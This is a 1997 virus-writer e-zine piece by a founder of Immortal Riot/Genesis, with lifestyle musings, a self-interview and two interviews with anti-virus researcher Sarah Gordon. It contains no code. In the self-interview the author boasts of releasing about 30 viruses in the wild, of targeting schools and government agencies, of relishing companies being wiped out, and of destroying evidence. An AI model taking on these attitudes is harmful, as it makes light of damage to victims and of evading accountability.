-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= * * * % Diary - Present future to forgotten past % * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * v 1.1 * * An Immortal Riot/Genesis orignal * * (c) 1997 The Unforgiven. * * May freely be quoted! * * * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Index of this article: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ þ Introduction þ Things to do before physics. þ Red Hot Chili Faces þ The early Insane Reality - Insanity or Reality? þ Current life & general adult hints þ Satisfying one's ego þ AV-Interview þ IRL-Papers þ The horror! þ Gimme more cheese please þ Eugene K þ Side-effects the conversation way þ Scene-Zines þ Greets þ Credits þ Goodbye's and cya somewhere.. somehow. þ Quatations & Poetry þ Future Introduction ~~~~~~~~~~~~ Mgl (Mengele.(P)hD?) told me he was about to release a newsletter, and asked me kindly to contribute a little something to it. He had nothing in mind what I do for them (I said no to source-code contributions since I didn't feel like decreasing the code quality) so I just had think about something myself. Well, this is the result, perhaps nothing really worth wasting any time with, you decide. My nature is to please anyone whenever I can so don't held me responsible for you losing your faith in humanity, society, god or whatever. If someone want me to write just something, surely I'll do it. If he would've asked if I could give him a blow-job, I would though have turned down the request. This contribution from me is styled VLAD-AF article.2_5 because I find the scene way too serious and that article a good read (Yay. I wrote it ;)). This mean this can be seen as a early valentine issue from myself included in the asterix#1. Or it might just bee seen as wasted bytes dedicated to wasted souls. Notice that the rest of Immortal Riot/Genesis has nothing to do with this stuff at all. I assume personal contributions is allowed to other zines, specially since MGL contributed to IRG#8. Also important to mention is that none of this stuff (I guess) would make it into an IRG-sinze due to our new technical styled magazines which I hope you all did enjoy! So... This is from all of me, to all of you - whoever you are. My dog surely will like it, but an updated interview with him won't follow! Parden me. Deadly serious ironic/sacrasm-ish reading and happy '97! - The Unfrgiven Things to do before physics ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Before I continue writing I'd like to take the opportunity to mention a few things that perhaps could easy my burden. 1). Time to spill out the beans... But who wants to eat them anyways? --------------------------------------------------------------------- I'm as for the moment writing & doing reserch on an article about "why viruses are written, for who they're aimed, why viruswriter's keep on doing them, personal motivation for viruswriting, why you once started and what you find facinating (or at least interesting) with them." So, I'd like *every* writer of computer-viruses to email me and write a little something about the above mentioned questions. If you feel like adding a few things that you find interesting go ahead, let your mind go wild! You can be anonymous if you like but don't forget to mention that! This article will hopefully (most likely) be included in our next issue of Insane Reality - IRG#9. My email adressess are: tuir@hotmail.com tuirg@hotmail.com tuir@hehe.com Notice also that those system's is rather instable, but if you read (II) you know I also can be reeched on that adress ( (II) is 9 lines below this line ). 2). Part II - Where you rather not want your daughter to be late at nights... ----------------------------------------------------------------------------- On http://www.algonet.se/~iridium there are some IR & IRG files located (ir.html is the file located on that adress btw, if that is for any use). It's not an offical IRG page but all of IRG.SE know the homepage operator and he kindly borrowed us some HD space. Every swedish IRG member can also be reeched on that adress - just email iridium@algonet.se and he will kindly CC (that is abbreviation for _carbo-copy_ if my memory isn't totally phucked) them to the correct person. Notice though that the official IRG-page still is located on: http://www.geocities.com/SiliconValley/Park/9595 3). I'm just an inspiration for birth-control... ------------------------------------------------ My submission (other word for contribution Quantum told me ;)) to VLAD-AF (Vlad-April Fool's Edition) called "IR#8" contained a little challenge - namely to crack "File Encryptor". Well, Sepultura found out the 12 byte long key which was "tuir@MAR.C0m" (w/o the quote-marks). The april fool joke from me was that secret.txt never did gave out my real information nor it did contain the reasons why my handle was The Unforgiven. For those who wonder.. keep on wondering! I doubt that it has something to do with suicide though, which some brave writer believed. Also notice that Quantum never did hack immortal.se (since it doesn't exist), and ripped "IR8" from there, it was a submission to their zine from me, pretty much like this is ;). He wrote that information at the end of the article. Well as I figured you never did read the entire faked Insane Reality #8 ;) and believed him. April sucka. I hope you reech the end of this one :). Red Hot Chili Faces ~~~~~~~~~~~~~~~~~~~ Hmm, I don't quite know where to start, but I would like to comment a few personal things at this entry. There are a few good reasons why I didn't contribute much to IRG#8 and beside being very busy with life, university, my gf and the general irl-stuff I re-read the IR-zines and felt terrible embarrased for them and felt like writing no more. For example, I started to write an article called "What good side-effects viruswriting can result in", but gave it up. It became too personal, abstract and complex. And beside this, it turned huge. A short summary of my results might still be included here or elsewhere since it's a rather interesting topic. So stay tuned. The early Insane Reality - Insanity or Reality? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well, both really. They're insane, yet real. I was red-phucked-up in my face and my heart went ape while reading some articles, specially those which included stuff written about girls and politics. And yea.. those viruses too. *Sigh*. Also worth to mention, I wasn't too pride too see some text-strings included in my viruses or in programs included as hex-script in some zines. (One example is "lord0.com" in IR#7 (reality.010 among with basicly, the entire adventure of porno)). For those who've been harassed, I'm sorry. Hrm, about some articles... Really, who're interested in reading about some Maria, some Ellinor, some Anette or some other girl? Who're really interested in reading about a confused teenager opinions about something that he cannot express properly in english? Who really bother about a person who ramble on and on and on (like now) without giving any information, just pure junk? A real rnd_garbage generator, or so? However, for those who really are interested in my and my life, junk stuff, etc. paradoxal enough I won't let you down, but this time write about something that I can be proud of and still will be proud of when I read it in let's say 3 years. However, it's still junk though. Do I never just give up? Current life & general hints, advises and shit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Current life is cool. I study and spend most of my spare time with my close friends or with my gf (name won't be mentioned) who I've been togheter with about half a year (so far). Hints in life is have plenty of sex. If you consider yourself too busy or "too of something else.. " change opinions. Nothing is as relaxing as it. It's though not good to became a "sex-addict", since most addictive things is bad for you, sex being the exception as long you have semi-control over it (having sex with yourself w/masturbating 5 times a day isn't the way to go). Not only is sex great but to really care about someone rocks. Don't let your life miss this. If you smoke just give it up. It smells bad and it won't do any good for you. Smoking at parties is alright but it doesn't really impress on most ladies. Socially smoking is great, but socially being decently drunk is also a killer, so.... it isn't perhaps the best way to deal with things'n'shit anyways. Alcohol. ch3-ch2-oh. This rocks. Don't be sober too damn often. Home made whine can rock (and beside it's cheap, it's a good hobby...). Astronomy. Really interesting and is a great thing to discuss, philosophy and crapp on about after a few beers. Only a few things can be described as complex or simply as this. Driving-license. Freedom costs. But damnit, it's worth it. Cooking. Everyone likes to eat, be sure you can do magic in the kitchen. Don't rely upon girls to do this for you. Not being dependant on other persons is essential in life. I only wish I could describe my situation as "not being.. ". Bah, isn't money to key to everything? (yes, that might as well include the r@@t of evil, too) One Half. A really good virus, lack bugs and contain a really cruel original payload. This issue includes the original source code. Suede - Coming Up. A really cool album, maybe the best album any U.K band ever produced. Sgt.Pepper from Beatles might just be up there. Ford Fairlaine. "Eih.. I fucked him!". Great fucking movie if you ask me. Up there along with Eddie Murphy's RAW. Hotmail. Well, any anonymous mail-system is great if you feel like giving your teacher some soft of feedback (critism can be kind of sensitive, just trust me..). Http://www.hotmail.com. A cool rerouter can be found on http://www.starmail.com (tuir@hehe.com is one of those catchy phrases..). Burger King. Just so much better than fucking McDonald's. Not a good place to work on I guess but for lunch (not date-dinner though!), it's more than OK. AVP anti-virus. Love the demo-section. The scanning/cleaning capabilities is also really impressive. Along with its code-analyser. If only it would ran a little bit faster on my machine. Java, html and high level languages. Well, assembler is cool, but I sincerly doubt it will get you any wealthy. Internet and its applications is what brings you money. Developing things fast is what companies want you to do. Irc. If used properly (i.e. not sitting there wastening all your spare time) irc can be as good as a scrink depending on which people you have a conversation with. Money. I have stated that greed is your worst enemy, so watch out. Money tend to change things, beware so it won't mess you up. Might just solve your problems better than booze. Booze solve things by its nature ;), problems is not included though. Drugs. If you're afraid to face the reality, change your situation, don't flee from it with drugs, computers, irc and shit like that. If you can control your use, it will sooner or later turn into abuse and you should give it up asap. Clifton Classic clothes. A sleep-over, black jeans (or ordinary Docker's if you prefer that) combined with Sweet Georgia Brown hair pomade looks nothing but great. Insane Reality. For whoever find low-level assembly programming and virus-related things interested this is zine to get ;). Hehe, just had to mention this. lve. If you don't find someone else to love that loves you back, be sure to love yourself. It's great to have a massive, yet humble ego. Studies. Can be quite hard. Compared to life and work it's though not as hard as you once believed. Isaac Asimov. Truely a smart writer. The books about the "Foundation" and "robots" are good and cleverly written. Something useful to waste your time with and might just get you interested in astronomy. Acqua Di Gio Giorgio Armani. Going around stinking bloody Farenheit or some other highly common eau de toilette or after shave always manages to upset someone. Be original and expensive in your choice of scent. Coffey. Keep your awake during studies, during hacking, during coding. Sleeping is such a waste of time, really. Oxygen. Can't really without it, however some early viruses early in the world's timeline could. Overrated things ---------------- Hitchhiker's guide to Galaxy. Isn't all that great, really. Has a few points, but not worth 900 pages. Windows/95. Everyone know this OS sucks, howcome everyone is using it? Swedish chicks. They aren't all that neat. The majority is just plain trash most of the rest is average. A minority is something to have in the long run. Of course, one doesn't realise this on a 1-2 week long vacation. Sleeping. Everyone likes this and it's essential it's said. But, really, it is like wastening a 1/3 of your life with. Opinions. Who will listen to you anyways? Who need goddamn opinions? Why are you even reading mine? Technology. Science should be fiction/not truth, dreams/not reality and so on. Neuromancer. Another book not worthy its reputation. William Gibson just ain't no good author. Action movies. Do I have to comment this? Satisfying one's ego ~~~~~~~~~~~~~~~~~~~~ Here's an interview I filled out for Richard Loearker's book. It will be an anti-virus reserach book and I do encourage every viruswriter to erase my answers, fill in your answers yourself and send it to rilo@xs4all.nl. If you want to add more questions to it, that is fine, too. I know this is lame, egoistic to include an interview with yourself, but this ain't no popularity contest. Do me your worst. Personally, everything I've ever written is horrible this piece - I see as the exception (i.e. the interview) but that might just change if I re-read it in a year. Well.. most things tend to change. ================================================================================ What is your handle? My handle is The Unforgiven. How did you get your handle? I found the handle on one of Metallica's albums and decided to take it. I liked the song and the alias did somewhat fit my person. I don't know exactly why, but metal-music has in a way or two always inspired viruswriters so it seemed to be a natural handle to occupy. How old/young are you? (Approx. If you won't want to be specific) I'm 21 years old. Would you dare to give me your first real name? (Do if you want to, don't if you don't want to) Sure, that would be no problem ;-). How would you describe yourself? I prefer not to since your readers would probably think of me as some sort of bragger. Ah well, I think I'm a pretty ordinary young adult who is a part-time enjoyer of life. As for the moment I'm studying on Chalmers University of Technology located in Gothenburg (Sweden), and will hopefully be for quite some time. I've worked with various things during the previous year, among many things computer-security. Although I liked my job I decided to get back to school after a moment of clarity. Socially I'm really not very complicated. I live a healthy social life with really good friends and with my girlfriend who's always there for me. I believe I'm very spoild concerning this kind of things. How do your friends and people around see you like? (BE HONEST! ;-) I am not a mindreader, but I do however believe that most people have little or no trouble with my humble person. Of course, there is always exceptions and honestly I don't deserve to be liked by everyone. Hopefully all that is in the past, but who knows? Cruelness is one mean habit to kick. It just won't walk away all that easy. I always try to care for persons who care for me and I'm always interested in getting to know new persons. Maybe are those the reasons why people accept me for who I am. Since when did you get involved with virus writing and how did you became interested in the first place? I became interested in viruswriting somewhere back in 1993. Me and a friend started Immortal Riot - mainly a viruswriting group, and I had to start to learn assembly. Since when did you get involved in a virus authoring group? When I started the group, of course. What made you decide to join this group? I didn't join Immortal Riot, I created it. I don't though know exactly why I formed yet another viruswriting group, but it seemed like a great fun and I tried it out. How did this group get its name? I don't have a clue. It did sound cool. What are the reasons for you writing viruses? I'm totally clueless! There aren't many good reasons really, but viruses facinated me and I wanted to learn more about them. The best way to learn more about viruses is to write them and so I did. What is the main purpose of the group? To write new good undetectable viruses, supply the masses with virus related information and knowledge for whoever it may concern. One of our goals in the beginning was to learn the shit ourself and teach echother the knowledge achieved. Ah well, mainly the purpose of a viruswriting group is individual. I doubt we had any specific purpose really, mainly it was just a fun thing to waste your time with. Approximately, how many viruses have you written? I couldn't count all updates, new versions and so forth. The viruses released in the wild and which has infected computers around the globe might be around 30. Which viruses were a real challenge for you? (Masterpiece?) When I finally got the knowledge to write some good virus I got unmotivated and grew bored with it. Mainly I wrote viruses whenever I felt like tormenting some computer geeks or when I was really upset about something. Nowadays, I've calmed down or maybe I just got better things to do with my life? Who knows, I might give it another shot, sometime. Have you written any virus toolkit or add-on? No, I don't think so. Why have you written this toolkit or add-on? .. What kind of reactions did that program get? .. What's your attitude towards antivirus researchers and why? I've no problem with most of the guys "on the other side" and most of them do deserve some respect. Some of them have though some serious attitude problems with viruswriters, but honestly I couldn't care less about them. Some persons have problems with everything and this just ain't my burden. Give me some opinions aboutand his product. If possible, motivate. Frans Veldman (Thunderbyte Scan) Frans Veldman is a really good low-level programmer and TBAV is a technical excellent product. Dr. Alan Solomon (Dr. Solomons Antivirus Toolkit) I believe Dr.Solly has a huge identity crise or just heaps of problems with his very own person. I havn't looked closely into his product, but he ain't programming on it himself so it can be good. Fridrik Skulason (F-Prot) I like Frisk a lot! His product is excellent and I recomment F-Prot for everyone who are looking for an anti-virus program. Fridrik himself is a very nice person and he's also a lot like "us" but older. He once stated in an email to me saying "viruswriters are a lot like me 15 years ago,", I like him for being honest. Also notice the comma in the quote before the quotation mark ends. Well, let's just say I'm trying to act as a reporter. Eugene Kaspersky (AVP) AVP is a good product, too. I don't know very much about Eugene but I want to believe he's nice. others you would like to give your opinion about? (ME? Naaahh) Nah, I wouldn't waste my time to write anything about John Mcafee since everyone knows his product (Scan) sucks bigtime and he's a fake. What is the best line of defence against computerviruses and how would you implement it? To remove all floppy and harddrives and never copy anything? :-). Honestly I don't quite know. No system is 100% safe against virus attacks. Personally I like resident monitors and recommend other persons to use them if they're afraid to get a virus (I believe the TSR monitor called F-Prot Gatekeeper is a good choice). Some sort of scanning software is also good to execute once in a while.. Would you like to work for an antivirus company as researcher/troubleshooter? Why or why not? I would have no problems with that. Would be quite ironic and I couldn't say I wouldn't like it before I had tried it out. If someone turns to you for help when his computer has a virus, would you help him? Please motivate why or why not. Sure I would. That would perhaps increase my knowledge about these little things and on the same time I would get the other persons respect. I've done this several times during the past years. Would you ask money for your help? Of course not. I dislike greed. If it turns out to be a virus you have written, what would you do? This too has happend :-). I gave out all technical details about the virus (trust me, they got really impressed) and wrote a cleaner for it. Voila! Respect earned in a cheap way! Would you still ask money for your help? I wouldn't in the first case, so... No, I wouldn't. But I would offer them the source code (claimed disasm :)) for further investigations. What would your initial response be if you see a newspaper that describes your virus wreaking havoc in: A government agency? First I would first laugh my underpants off, but then I would be a little bit worried about it. My handle/real identity is pretty known afterall so this could get me busted. I think I would destroy all evidence so they couldn't prove shits. A hospital? That depends. I wouldn't like to see someone getting hurt physically by a virus of mine but if it just had infected some of their computers or trashed some easy to recover data I'd have no worries with it. Of course this is bad publicity, but I can live with that. A large company? Yummie! I like all daily newspaper reports concerning companies getting hit or (prefered) wiped out by a virus of mine. I would be happy a day or two then I would forget all about it. A small company? I couldn't care to discriminate between large or small company. Of course I would like this too. What would your initial response be if this company went broke due to your virus? I would silently say "Woops, better not trust computers, geek." and get paranoid about the consequenses. Surely, they would want someone hanged. What would your initial response be if someone dies in the hospital due to your virus? Shit! Really I wouldn't like this to happen. I'm not a weirdo. I would probably think about this a lot and after quite some time come to the conclusion that it was all an accident and not, - not even indirectly - my fault. Then I would try to forget all about it and blame the dead vegetable on someone else. What would your initial response be if the government loses all police arrest records due to your virus? Voila! This I would indeed like. But then again, they wouldn't report this and just restore the records from backup's. If they had no backup I would thing twice about the effects this kind of incident may bring and get really paranoid. How is the law in your country concerning computer viruses and what is your opinion about it. The law is a complete mess. I can understand if deliberate spreading of computer viruses is considered a crime in some countries, but writing? No way! And how easy is it to prove that I deliberate did spread a virus? Most laws about viruswriting has a large amounts of flaws. Surely, with a good lawyer you will get away with it. Sweden hasn't for the moment any specific law which forbids this. Have you ever been arrested for doing illegal things with computer (viruses, phreaking, hacking)? No. I have never been arrested for anything. Aren't I too legal? :-). Has this arrest altered your view of these activities, and, if so, please describe the stage you went through. .. Would or do you write antivirus software? No I wouldn't. I couldn't make money outta it anyways and just writing one for fun is a waste with my ever decreasing amount of spare time. I have though written cleaners against viruses reported in the wild. It's for no use to have a product detecting 10.000 viruses which aren't a real treat. If so, what kind of software has your main interest? TSR-blockers, scanners & cleaners. What would you like to say to antivirus persons if you have the chance? "Hello". Which is a good first word to start a conversation with. What would you like to say to new virus writers that are getting in the scene? It's not really worth it and maybe it's only a waste of time for everyone. In the end nothing what you are doing now counts. Find something better to do and get on with your life without the scene. It won't do shit for you. What are you planning to do in the future with the knowledge you have now about viruses? Frankly said I don't quite know. I had use for the knowledge gained from the scene and from friends in the scene. However I would like to believe that you have use for anything you ever learn, so it's not really such a big deal afterall. I'm as for the moment writing an article about what good side-effects viruswriting may have (on personal basis), but as for anything concerning the future, you just don't know. Do you think that writing viruses was a good descision for you to take? Please motivate why Yes or No. I wouldn't know. I could impossible know what would or could have happend if I didn't. I only know my situation as for now, but sure I like my current life. This interview will be put in a dutch antivirus book. What do you think or hope what people that read it will learn from you? (Example, virus writers are nice guys or that it's just an intellectual challenge, whatever. Let your fantasy run wild). Anything I left out here? Please write the things you want to say to the readers here below. ================================================================================ % This is damn lame % --------------------- To: amars@slack.demon.co.uk Subject: Sorta humble. * Any idea why all virus writers (and hackers for that matter) seem to be * male? TU> Sure, males seem to like technology more than the opposite sex. If you don't look at computers, arcade-games, etc. seperately but on technology in general, it's (unfortunately, perhaps?) male dominated. Also important to mention is that most programmers are male and since it takes some programming knowledge to write computer-viruses that's quite a good reason. * Why do you do it, what satisfaction do you get out of it? Viruses are interesting and a funny thing to know/learn about I don't get anything out of it more than (further) knowledge about computers, programming and so on. Of course, I have met quite a few friends related to viruswriting but that's pretty much about it. I don't see it as something important it's just another hobby. * Would anything make you stop? TU> To give up writing viruses is not hard really not compared to giving up smoking for example. I would stop writing viruses if my real life get damaged by the time consumed writing viruses. * How old are you? TU> I'm 22 years old. * How long have you been writing viruses? TU> I believe I started writing computerviruses somewhere back in 1993, not quite sure though. * What got you started? Viruses did facinate me and that's how I started I think, don't know for sure though. * What do you for a living? I'm a student but have worked with various things, economics, computer-secururity and so on. * Which viruses have you written / modified? TU> A lot really, I couldn't name them all, probably circa 30 of my creations have been reported in the wild. Examples are Hybris, Petra, Eternity, Intellecual Overdoze, the Riot and the carpe_diem series and so on. I often did write a special-designed virus to spread for a special purpose and have helped other viruswriters distrubuting their viruses too. To name a few: Manzon, Diametric/Matricide and Word.Nuclear. Manzon was reported from everywhere in 1994/95/96 and I did the petra-rm.zip which it was being distributed in. * How do you initially distribute them? TU> Mainly I did spread them on different bullentin board systems but I also targetted special schools/government agencies I did not like and of course the internet is an excellent place to spread viruses on. * What do think of those who only send a virus to the AV companies but don't release them to the public? TU> They're alright. * How many other virus and anti-virus authors do you know? TU> I know many viruswriters and have met a lot writers in real life, maybe I've met about 10 or so. * How do you communicate with them? TU> Mainly via the internet relay chat (irc) or via phone. Some are also my friends but I don't really consider them "viruswriters", they're just ordinary friends. * Are all virus writers alike, or do you considers some more ethical than others? TU> Viruswriters are not really alike trust me on this on - I have done quite a large study/research about this very topic. Sure some writers are more ethical than others but this isn't related to computers at all. * If so what makes the difference? TU> Behaviour towards other people in general. * Have most virus writers also been/are hackers? TU> More or less. Hackers is a vague definition you know. * What do you think of the 'hacker ethic'? TU> Couldn't give a shit about it. I have my very own ethic of what's right and wrong. * What do think of the laws in most countries that make deliberately releasing a virus a criminal offence? TU> Releasing a virus deliberately could be considered a criminal offence, I can agree with that. As long as they don't forbid the writing itself it's alright with me. * Could viruses ever be used in wars or terrorist attack? How? TU> Why not? A virus monitoring the TCP/IP protocoll to collect military information could be quite helpful in wars. * Do you family / friends know of your hobby? (Do you see it as a hobby?) TU> Sure it's a hobby. Some of my friends know about it but they really don't care. I think I've told my girlfriend about it but she isn't really interested in computers :) and it wouldn't give a shit anyways. * If so what do they think of it? TU> They don't have any problem with it as long as they don't get hit by a virus of mine. I don't discuss viruses personally if I don't have to. Regards, The Unforgiven/Immortal Riot/Genesis. ================================================================================ AV-INTERVIEW ~~~~~~~~~~~~ This article, I believe was suppose to be published in IRG#8 but it wasn't released then. I believe it was done erm.. early in 1996 :) so, it can as good be nearly a year old :-). Sarah Gordon can be reeched on sgordon@commandcom.com or you can see her cool work on http://www.commandcom.com/html/virus/virus.html. Here it follow anyways, enjoy! a '>' Dark Fiber no '>' is Sarah. Also mention - another interview with Sarah Gordon done by me is published below this. ---- ALL CREDITS TO DARK FIBER ---- > heya Sara, sarah. hi :) it was sara long time ago, for reasons i have explained so many times i wont bore you with them again :) > Lots of interviews exist with virus writers, yet > few exist with those on the av side of the fence, so I was actually there are probably more with av than v now. virus bulletin has been doing interviews with 'us' for some time. jimmy kuo from mcafee is the latest. i think it just depends where you read.. > wondering if I could throw some questions at you? sure :) > First off, can you give me a brief description of who you are > and what exactly do you do? who i am: sarah what i do: you mean related to my work? one of the things i do is replicate viruses. it is quite a boring and tiresome job, so if you would like to encourage everyone reading your magazine to STOP WRITING THEM, i would really appreciate it. i don't suppose you will do that, so perhaps you could ask them to please not give them to anyone (or publish them in your magazine), because it is very irresponsible to do this. and, it makes more work for me, and costs users lots of time and money. that said, i'll tell you more what i do. i do research and write papers on topics related to viruses, security, ethics/education/technology. i present some of these at various types of conferences. some teaching / seminars. lecture at universities. work with groups developing formal methods for product certification. also working now on a small project involving designing IT security for developing countries. maintain virus library, perform various tests. that is as brief as i can make it and still include at least half the things i try to do. its not a real 'firmly defined' position. basically, i do whatever needs to be done. sometimes that could mean talking to a user, a journalist, or it could mean helping clean up after a company get-together. sometimes i am at the company booth at conference or show, to talk with people. it really depends on what needs to be done. > What's the extent of your education with regards to your work? > ie: self tought and picked up the lingo as you went or the full blown > uni degree bought by your parents, etc? well it is not the case that my parents paid for anything :) i have supported myself for a long time. since way before college. i also would NOT recommend anyone go about it the way i did. there has to be an easier way. intially, academic scholarship and nomination to The Deans College. did not study computers there. then, a long time off from that ...working with juvenile corrections/LE, homeless kids, runaways..going back to school (med school), leaving when i saw the attitude some of the other pathology group had, working, then ending up with a computer. i liked the computer :) 'formally' [at university-again] [after hiatus] now, on computers, i have the basic classes, (you know the type) and some higher level. some research hours. research grant eventually. intership related to computers and security. (the internship was *way cool* and if anyone can get such opportunity, they should take it. ) about viruses, though, i had to learn on my own. and i must say i did it without writing/releasing any. so, i know it can be done :) so , i guess its combination of 'formal' and 'informal'. the formal is *important* and i wish i had done it earlier. but, the 'informal' can be helpful. > How have your attitudes changed since the first time you were infected > by a virus to present day? the first time i was infected, it took me some time to realise. i was irritated but intrigued. now, im just irritated. i dont see any point in causing all this problem for users. its such a waste of everyones time really. > There was a well know opinion of you and you work, namely the Dark Avenger > article, then came the NuKE Info Journal and Khontark/PHRACK tangles. Do you > feel these events made virus writers more standoffish towards you and your > work? it seems not. i mean, why would it? the dark avenger piece was honest, and i only submitted what he said was permitted and what he wanted in there. i can't help what someone writes, say, in NuKE, or that nonsense Kohntark was going on about. i think most people saw the silliness in that kind of thing, and many of them told me to not worry about it. much of the 'support' i got when some of those guys were acting so crazy came from virus writers :). so, i think the answer to your question is no. > Which of all your articles has been the most requested for publication? im not sure what you mean. do you mean which of my published articles is most requested? i cant know that as they would be requested from the publishers. if you mean which do i receive most request for copies of, probably it would be the generic virus writer right now. but last year it was the IFIP paper. and this week its the paper on virus simulators. and, after a conference it is the one on whatever topic im talking about. i dont think there is one consistently most requested. > You did a study into the Generic Virus Writer some time ago, do you think > much has changed since the initial study to today, giving that those in the > study would have grown up now? Do newbies of today fit into the same category > as the newbies of the study, regarding mentality, age, etc? this is something i hope to address in the followup paper :) i can say i am observing some changes, but specifics will have to wait. > Your now working for Frisk, What's your role in that company? i am? that is news to me...i work for command software systems. if i am working for frisk i am living in the wrong country! :) of course, i work for them -because- of frisk, i think a lot of him and the product. my role is described in an earlier answer i think. > Do you think that in 2 years time you will still be active in the > anti virus scene? probably. did you know, if you stopped writing viruses *now*, if -all- of you stopped *now*, i would still have a job in 2 years? so, please don't feel you need to keep going just for me. > If the av went by handles, what would yours be and why? i have had a handle since years, it is theora. most of my 'circle of friends' (so to speak) on the internet know it. i chose it some long time ago when i ran a bbs (which i wrote) called Network 23 (after the Max Headroom network). its funny, i always thought the characters name was Fiora, and so for the first 6 months or so, I used that instead of theora :). but anyway, its theora. however, i don't hide behind it. by the way, whats your name? > You want to add or comment on anything? no. i hope this answers your questions well enough. if you have any more, please feel free to send. ================================================================================ % INTERVIEW WITH SARAH-GORDON DONE SOMEWHERE IN END OF MARCH, 1997 % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > first of all, i would like you to give me a personal character > presentation about yourself with your own words. then, secondly, > (be honest), i would you to write how you think other people > around you, see you as. personally, i try just to be honest, thorough, compassionate, and loving person. i try to not make judgements or draw conclusions without thinking them through, and i try to be fair. (note: i did not say i dont make judgements or draw conclusions. i said i try to think them thru and be fair. i see nothing wrong with a person saying 'i like or dont like this or that and here is why', or 'this or that is wrong, here is why'. i am not very good 'game player', and usually just say what i think. since sometimes what i think may change, this can be a problem :) my priorities in my personal life are relationship to God, to my husband (i was recently married as you may know), to my children (who are grown), to my friends, and then to my work. at least, in theory this is the case. how i see myself?..hmm, well, i try to adhere to what i think is important, but i do not always succeed. how others see me, well, you would have to ask them :). but i think sometimes some people have pre-conceived ideas, or want someone to fit a certain mold they are comfortable with....so they put me there. when they do actually take the time to know me, they often find out they were wrong. i think also this happens with many people, not just me. (it could be they find out they were right :) yet others, usually those who are professionally competent and secure, don't have these problems -- they see the bigger picture and have no need to create artificial life-model of another person :) (no pun intended). i am told that i have no sense of humour and that i see things 'differently', whether or not this is a benefit is an exercise left to the reader. > about your articles, what gives you motivation to write them? well, i write different kinds of articles, and the motivation is different for different ones, at different times. i write about something if it interests me, and if i think i may have some idea someone else may not have thought of. or if i see something written i dont agree with. i have written several for money, but they are usually technical security articles, nothing to do with viruses or virus writers, or any of that. sometimes it is nice to deal with 'non-people' issues, there is a lot less room for 'controversy' :) > and/or the virus-community with your write-ups? (if yes, motivate > what.. ). sure, some have changed. i mean, now they are talking to each other instead of just name calling. i think i played some role in that. well, i know i played some role in that. but my 'role' was just to initiate change, as some form of catylst. don't you know, usually the catalyst gets burned the most :) there is now more examination of facts, instead of hype and hysteria, related to virus writers. i know i played some role in that. all in all this examination is good, for both sides of the discussion. i think virus writers are now thinking and talking more about what they are doing and want to do, and realising the impacts of releasing their creations. im told i have had some role in that. but i dont know. i hope i did. but it could be natural sequence of events. maybe i just recorded/documented it. maybe i made some change by doing that...i don't know. i know personally i have had some impact in the overall dynamic, but how much and how to measure is difficult. many times now im quoted about what ive learned by just talking to people and analysing facts about how viruses really spread. hopefully this has some effect on getting the media to focus on real problems. but virus writers and things related to them are just small portion of my work. ive done more in product testing, certification and network security. however, it is the 'virus writer' work which seems to grab some attention. > something you have written/worked about that has been misunderstood? sure, this is always the case with everyone isnt it? havent you? :) in particular, i remember when phrack wrote some story which they later said 'we're sorry, we didnt check this out thoroughly' about my trying to shut down some bbs. its true i was in a room when someone suggested that some bbs should be closed, but if i remember correctly, i suggested this is not a very good idea... then, there was that ugly silliness the virus writer kohntark made up. i never did figure out why he did that, but he seemed to have some 'model' of what i must be that he needed to fill. well, and he did say he wanted to be famous. and again, that got straightened out but only after he was really personally very nasty to me. that he chose to act this way was a disappointment to me, as i think he and i could have had some interesting talks about real things. its dificult for me, when i know i didnt do anything like is said/written, to understand how anyone can say these things. and, sometimes it hurts a lot to have this happen. but on the other hand, i dont really care. i mean, there are far worse things in this world than this type of thing. usually it is wanna-be's or those who are relatively new to the various scenes who are nasty, but its not always the 'bad guys' that misunderstand. many times the 'good guys' get the initial idea im saying something totally different than i am -- because they also need to 'fill in the blanks'..and its been hard for some of them to admit they were wrong about the people involved in some of these subcultures. [then of course there are people like gheap and dark angel :). my two most bitter enemies in this known universe :). not to mention...well, better to not mention :) those guys bad mouth me all the time. all i can say to them is 'h0h0h0h0h0' :)] > do you consider yourself being "un-payed" (uh.. not having enough > payment compared to the job done by you.. )? and what do you earn > per year (circa.. ). salaries are something i cant discuss. but i can say i make more than when i was undergraduate researcher at the university :) > if you had to chanse to say at maximum 100 words to everyone > involved in writing viruses, what would that be? (if you answer > "just drop, it's a waste for everyone", motivate why.. ). here is what i would say: you may think it is cool to see how this stuff works, just like it is cool to know about other computer actions and who can argue with you? not me. but there is no 'magic' or technological 'excellence' in this stuff. its not 'new science'. its not any way to get a good job. what it can be is some very costly pasttime. there can be a big price to pay -- you can really hurt someone with the viruses, because you can not guarantee that you can control the viruses. people will say you cant *really* hurt anyone, but they are wrong. so please stop and think what you are doing. if you are the kind of guy who wants to hurt them, then you deserve what you may get if you do it. [how many words was that?] > about your article "the generic viruswriter", the four persons you > selected for the four groups, who were they? (if you can't give > this out, don't, but motivate why.. ). sorry but that is confidential to them. why? i told them it will be confidential unless they tell me otherwise when i asked for people to respond to the survey. > which virus-related article is your personal favorite? > (why is that..). general systems theoretical model for av protection (if you mean my own). it is favorite because it allowed me to work in new area. or do you mean in general? > what, concerning virus-related stuff have you regretted in your > life? i regret that i did not realise the personal dynamics of my relationship with the virus writer formerly known as dark avenger, and that i was sometimes too concerned with my personal life to give attention to him when he needed it. but it was really wearing me out, and i actually got physically ill from spending too much time with all the work. i did not realise the impact this all would have on him, or on me. it took alot of my time and attention for several years. i have written a lot about how we dont realise the impact of our actions on others, since the computers can tend to desensitize us. unfortunately, i was not 'immune' to this . > do you prefer tea or coffee in the morning? grape kool-aid (dont you attend defcon? :) > your favorite dish? prawn crackers, any hot chinese dish with chicken. > what're your hobbies? (umm.. one hobby.. many hobbies??). hobbies? i think you need spare time to have those.. i used to sail and did at one time train and ride my own horse, but i had to give him away when i could not afford 